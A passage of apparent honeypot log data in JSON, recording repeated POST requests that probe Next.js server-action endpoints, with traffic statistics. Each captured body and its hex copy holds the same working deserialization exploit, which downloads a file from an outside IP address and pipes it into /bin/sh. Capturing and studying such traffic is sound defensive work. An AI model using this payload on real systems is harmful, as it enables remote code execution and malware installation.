name=\"2\"\r\n\r\n[]\r\n--f49cc89d665cdf0c3764147f7143a128--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a20780d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d66343963633839643636356364663063333736343134376637313433613132380d0a436f6e74656e742d4c656e6774683a203639320d0a0d0a2d2d66343963633839643636356364663063333736343134376637313433613132380d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a2270726f636573732e6d61696e4d6f64756c652e7265717569726528276874747027292e72657175657374287b686f73743a2739342e3234392e3233302e323136272c20706f72743a38302c20706174683a272f726f6e646f2e617175272c20686561646572733a7b27557365722d4167656e74273a276e6f6465277d7d2c723d3e722e706970652870726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e737061776e28272f62696e2f736827292e737464696e29292e656e6428293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d66343963633839643636356364663063333736343134376637313433613132380d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d66343963633839643636356364663063333736343134376637313433613132380d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d66343963633839643636356364663063333736343134376637313433613132382d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"96b5567c-4503-49e7-a99c-db179008a6b8","seq":1,"duration_ms":0,"bytes_in":991,"bytes_out":78},{"timestamp":"2026-10-22T22:46:56","port":3000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/x-component\",\"connection\":\"close\",\"content-length\":\"692\",\"content-type\":\"multipart/form-data; boundary=fcfd12c2218d5b196f524e127f784a90\",\"host\":\"<HONEYPOT>:3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\"}","body":"--fcfd12c2218d5b196f524e127f784a90\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('http').request({host:'94.249.230.216', port:80, path:'/rondo.aqu', headers:{'User-Agent':'node'}},r=>r.pipe(process.mainModule.require('child_process').spawn('/bin/sh').stdin)).end();\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n--fcfd12c2218d5b196f524e127f784a90\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n--fcfd12c2218d5b196f524e127f784a90\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n--fcfd12c2218d5b196f524e127f784a90--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/api","summary":"","payload_hex":"504f5354202f61706920485454502f312e310d0a486f73743a20<HONEYPOT>3a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a20780d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d66636664313263323231386435623139366635323465313237663738346139300d0a436f6e74656e742d4c656e6774683a203639320d0a0d0a2d2d66636664313263323231386435623139366635323465313237663738346139300d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a2270726f636573732e6d61696e4d6f64756c652e7265717569726528276874747027292e72657175657374287b686f73743a2739342e3234392e3233302e323136272c20706f72743a38302c20706174683a272f726f6e646f2e617175272c20686561646572733a7b27557365722d4167656e74273a276e6f6465277d7d2c723d3e722e706970652870726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e737061776e28272f62696e2f736827292e737464696e29292e656e6428293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d66636664313263323231386435623139366635323465313237663738346139300d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d66636664313263323231386435623139366635323465313237663738346139300d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d66636664313263323231386435623139366635323465313237663738346139302d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"42a54ae4-0f16-480d-aeaf-1aeaee757aa6","seq":1,"duration_ms":0,"bytes_in":994,"bytes_out":78},{"timestamp":"2026-10-22T22:46:02","port":3000,"proto":"tcp","app_proto":"http","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/x-component\",\"connection\":\"close\",\"content-length\":\"692\",\"content-type\":\"multipart/form-data; boundary=c7971a464c0cff74a4d819b3a7575ef3\",\"host\":\"<HONEYPOT>:3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\"}","body":"--c7971a464c0cff74a4d819b3a7575ef3\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('http').request({host:'94.249.230.216', port:80, path:'/rondo.aqu', headers:{'User-Agent':'node'}},r=>r.pipe(process.mainModule.require('child_process').spawn('/bin/sh').stdin)).end();\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n--c7971a464c0cff74a4d819b3a7575ef3\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n--c7971a464c0cff74a4d819b3a7575ef3\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n--c7971a464c0cff74a4d819b3a7575ef3--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a203c484f4e4559504f543e3a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a20780d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d63373937316134363463306366663734613464383139623361373537356566330d0a436f6e74656e742d4c656e6774683a203639320d0a0d0a2d2d63373937316134363463306366663734613464383139623361373537356566330d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a2270726f636573732e6d61696e4d6f64756c652e7265717569726528276874747027292e72657175657374287b686f73743a2739342e3234392e3233302e323136272c20706f72743a38302c20706174683a272f726f6e646f2e617175272c20686561646572733a7b27557365722d4167656e74273a276e6f6465277d7d2c723d3e722e706970652870726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e737061776e28272f62696e2f736827292e737464696e29292e656e6428293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d63373937316134363463306366663734613464383139623361373537356566330d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d63373937316134363463306366663734613464383139623361373537356566330d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d63373937316134363463306366663734613464383139623361373537356566332d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"c3e30e20-53e6-4ac1-9875-edd2ab78f356-1","seq":1,"duration_ms":0,"bytes_in":0,"bytes_out":0,"interactive":true},{"timestamp":"2026-10-22T01:36:39","port":3000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/x-component\",\"connection\":\"close\",\"content-length\":\"692\",\"content-type\":\"multipart/form-data; boundary=e34b39e2e83a3c40405026c1d90c9c09\",\"host\":\"<HONEYPOT>:3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\"}","body":"--e34b39e2e83a3c40405026c1d90c9c09\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('http').request({host:'94.249.230.216', port:80, path:'/rondo.aqu', headers:{'User-Agent':'node'}},r=>r.pipe(process.mainModule.require('child_process').spawn('/bin/sh').stdin)).end();\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n--e34b39e2e83a3c40405026c1d90c9c09\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n--e34b39e2e83a3c40405026c1d90c9c09\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n--e34b39e2e83a3c40405026c1d90c9c09--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/api/route","summary":"","payload_hex":"504f5354202f6170692f726f75746520485454502f312e310d0a486f73743a20<HONEYPOT>3a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a20780d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d65333462333965326538336133633430343035303236633164393063396330390d0a436f6e74656e742d4c656e6774683a203639320d0a0d0a2d2d65333462333965326538336133633430343035303236633164393063396330390d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a2270726f636573732e6d61696e4d6f64756c652e7265717569726528276874747027292e72657175657374287b686f73743a2739342e3234392e3233302e323136272c20706f72743a38302c20706174683a272f726f6e646f2e617175272c20686561646572733a7b27557365722d4167656e74273a276e6f6465277d7d2c723d3e722e706970652870726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e737061776e28272f62696e2f736827292e737464696e29292e656e6428293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d65333462333965326538336133633430343035303236633164393063396330390d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d65333462333965326538336133633430343035303236633164393063396330390d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d65333462333965326538336133633430343035303236633164393063396330392d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"4f6ba32a-147a-4431-840e-7cba3efa4d27","seq":1,"duration_ms":0,"bytes_in":999,"bytes_out":78},{"timestamp":"2026-10-22T01:32:26","port":3000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/x-component\",\"connection\":\"close\",\"content-length\":\"692\",\"content-type\":\"multipart/form-data; boundary=ecc009bcb36c7ccc0bdacb1f4e075ad8\",\"host\":\"<HONEYPOT>:3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\"}","body":"--ecc009bcb36c7ccc0bdacb1f4e075ad8\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('http').request({host:'94.249.230.216', port:80, path:'/rondo.aqu', headers:{'User-Agent':'node'}},r=>r.pipe(process.mainModule.require('child_process').spawn('/bin/sh').stdin)).end();\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n--ecc009bcb36c7ccc0bdacb1f4e075ad8\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n--ecc009bcb36c7ccc0bdacb1f4e075ad8\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n--ecc009bcb36c7ccc0bdacb1f4e075ad8--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a20780d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d65636330303962636233366337636363306264616362316634653037356164380d0a436f6e74656e742d4c656e6774683a203639320d0a0d0a2d2d65636330303962636233366337636363306264616362316634653037356164380d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a2270726f636573732e6d61696e4d6f64756c652e7265717569726528276874747027292e72657175657374287b686f73743a2739342e3234392e3233302e323136272c20706f72743a38302c20706174683a272f726f6e646f2e617175272c20686561646572733a7b27557365722d4167656e74273a276e6f6465277d7d2c723d3e722e706970652870726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e737061776e28272f62696e2f736827292e737464696e29292e656e6428293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d65636330303962636233366337636363306264616362316634653037356164380d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d65636330303962636233366337636363306264616362316634653037356164380d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d65636330303962636233366337636363306264616362316634653037356164382d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"b727b717-873a-4305-9ee1-6b1dd391028b","seq":1,"duration_ms":0,"bytes_in":991,"bytes_out":78}],"http_methods":[{"method":"POST","count":61}],"distinct_ports_total":3,"top_paths":[{"path":"/","count":14,"ports":1},{"path":"/api/route","count":12,"ports":1},{"path":"/api","count":10,"ports":1},{"path":"/app","count":10,"ports":1},{"path":"/apply.cgi","count":8,"ports":1},{"path":"/_next/server","count":4,"ports":1},{"path":"/_next","count":3,"ports":1}],"distinct_paths_total":7,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":{"signature":["Accept","Connection","Content-Length","Content-Type","Host","Next-Action","User-Agent"],"representative":[{"name":"Accept","value":"text/x-component","notable":false},{"name":"Connection","value":"close","notable":false},{"name":"Content-Length","value":"692","notable":false},{"name":"Content-Type","value":"multipart/form-data; boundary=2e68c6b1c8edfeb38e124d488fcb92ce","notable":true},{"name":"Host","value":"<HONEYPOT>:3000","notable":false},{"name":"Next-Action","value":"x","notable":false},{"name":"User-Agent","value":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","notable":false}],"distinct_sets":1,"events_with_headers":10},"tags":[]}